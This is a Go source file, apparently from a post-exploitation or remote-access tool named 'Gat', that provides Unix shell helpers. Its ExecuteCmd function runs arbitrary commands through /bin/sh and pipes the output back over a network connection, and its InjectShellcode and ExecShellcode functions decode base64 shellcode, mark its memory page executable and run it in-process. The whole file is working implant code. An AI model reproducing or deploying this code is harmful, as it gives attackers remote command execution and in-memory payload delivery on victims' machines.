github.com/m1ddl3w4r3/Gat@v0.0.0-20221205171512-b6bb6e613409/shell/shell_default.go (about)

     1  // +build linux darwin freebsd !windows
     2  
     3  package shell
     4  
     5  import (
     6  	"encoding/base64"
     7  	"net"
     8  	"os/exec"
     9  	"syscall"
    10  	"unsafe"
    11  )
    12  
    13  // GetShell returns an *exec.Cmd instance which will run /bin/sh
    14  func GetShell() *exec.Cmd {
    15  	cmd := exec.Command("/bin/sh")
    16  	return cmd
    17  }
    18  
    19  // ExecuteCmd runs the provided command through /bin/sh
    20  // and redirects the result to the provided net.Conn object.
    21  func ExecuteCmd(command string, conn net.Conn) {
    22  	cmdPath := "/bin/sh"
    23  	cmd := exec.Command(cmdPath, "-c", command)
    24  	cmd.Stdout = conn
    25  	cmd.Stderr = conn
    26  	cmd.Run()
    27  }
    28  
    29  // InjectShellcode decodes base64 encoded shellcode
    30  // and injects it in the same process.
    31  func InjectShellcode(encShellcode string) {
    32  	if encShellcode != "" {
    33  		if shellcode, err := base64.StdEncoding.DecodeString(encShellcode); err == nil {
    34  			ExecShellcode(shellcode)
    35  		}
    36  	}
    37  	return
    38  }
    39  
    40  // Get the page containing the given pointer
    41  // as a byte slice.
    42  func getPage(p uintptr) []byte {
    43  	return (*(*[0xFFFFFF]byte)(unsafe.Pointer(p & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()]
    44  }
    45  
    46  // ExecShellcode sets the memory page containing the shellcode
    47  // to R-X, then executes the shellcode as a function.
    48  func ExecShellcode(shellcode []byte) {
    49  	shellcodeAddr := uintptr(unsafe.Pointer(&shellcode[0]))
    50  	page := getPage(shellcodeAddr)
    51  	syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
    52  	shellPtr := unsafe.Pointer(&shellcode)
    53  	shellcodeFuncPtr := *(*func())(unsafe.Pointer(&shellPtr))
    54  	go shellcodeFuncPtr()
    55  }